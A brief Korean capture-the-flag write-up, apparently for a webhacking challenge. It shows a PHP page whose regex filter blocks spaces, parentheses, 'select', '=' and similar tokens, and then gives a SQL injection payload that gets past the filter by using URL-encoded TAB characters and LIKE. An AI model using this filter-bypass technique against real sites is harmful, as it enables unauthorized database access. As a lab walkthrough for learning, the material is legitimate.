소스코드 분석
<?php
if($_GET['no']){
$db = dbconnect();
if(preg_match("/#|select|\\(| |limit|=|0x/i",$_GET['no'])) exit("no hack");
$r=mysqli_fetch_array(mysqli_query($db,"select id from chall27 where id='guest' and no=({$_GET['no']})")) or die("query error");
if($r['id']=="guest") echo("guest");
if($r['id']=="admin") solve(27); // admin's no = 2
}
?>
- # : 샵(주석 용도로 쓰이는 경우 차단)
- select : SELECT 키워드 차단
- \\( : 왼쪽 괄호 ( 차단
- : 공백(스페이스) 차단 — 오직 공백 문자(ASCII 0x20) 만
- limit : LIMIT 키워드 차단
- = : 등호(비교/할당연산자) 차단
- 0x : 16진수 리터럴 접두사 차단
즉, #, select, (, (스페이스), limit, =, 0x 이 어느 하나라도 포함되면 exit("no hack") 이 실행\
익스플로잇
Payload
or no like 2--
=>
select id from chall27 where id='guest' and no=(0)%09or%09no%09like%092--%09
%09는 TAB 키의 URL 인코딩이다.
필터링 로직에서 TAB을 필터링 하지 않으므로 공백 문자(스페이스) 필터링을 TAB을 이용해 우회한다.